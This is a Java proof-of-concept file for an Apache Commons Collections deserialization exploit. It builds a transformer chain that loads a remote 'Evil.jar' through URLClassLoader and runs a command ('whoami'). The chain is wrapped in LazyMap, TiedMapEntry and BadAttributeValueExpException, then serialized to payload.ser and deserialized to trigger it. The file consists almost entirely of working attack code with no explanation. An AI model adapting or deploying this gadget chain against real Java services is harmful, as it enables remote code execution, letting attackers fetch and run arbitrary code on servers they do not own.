package com.poc;

import com.yi.ChainedTransformer;
import com.yi.ConstantTransformer;
import com.yi.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class TestError {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[0];
        try {
            transformers = new Transformer[]{
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer(
                            "getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{java.net.URL[].class}}
                    ),
                    new InvokerTransformer(
                            "newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://127.0.0.1/Evil.jar")}}}

                    ),
                    new InvokerTransformer(
                            "loadClass",
                            new Class[]{String.class},
                            new Object[]{"Exec", new Class[]{String.class}}
                    ),
                    new InvokerTransformer(
                            "invoke",
                            new Class[]{Object.class, Class[].class},
                            new Object[]{null, new String[]{"whoami"}}
                    )
            };
        } catch (Exception e) {
            e.printStackTrace();
        }
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);
        File file = new File("payload.ser");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(file));
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();

        FileInputStream fileInputStream = new FileInputStream("payload.ser");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();

    }
}
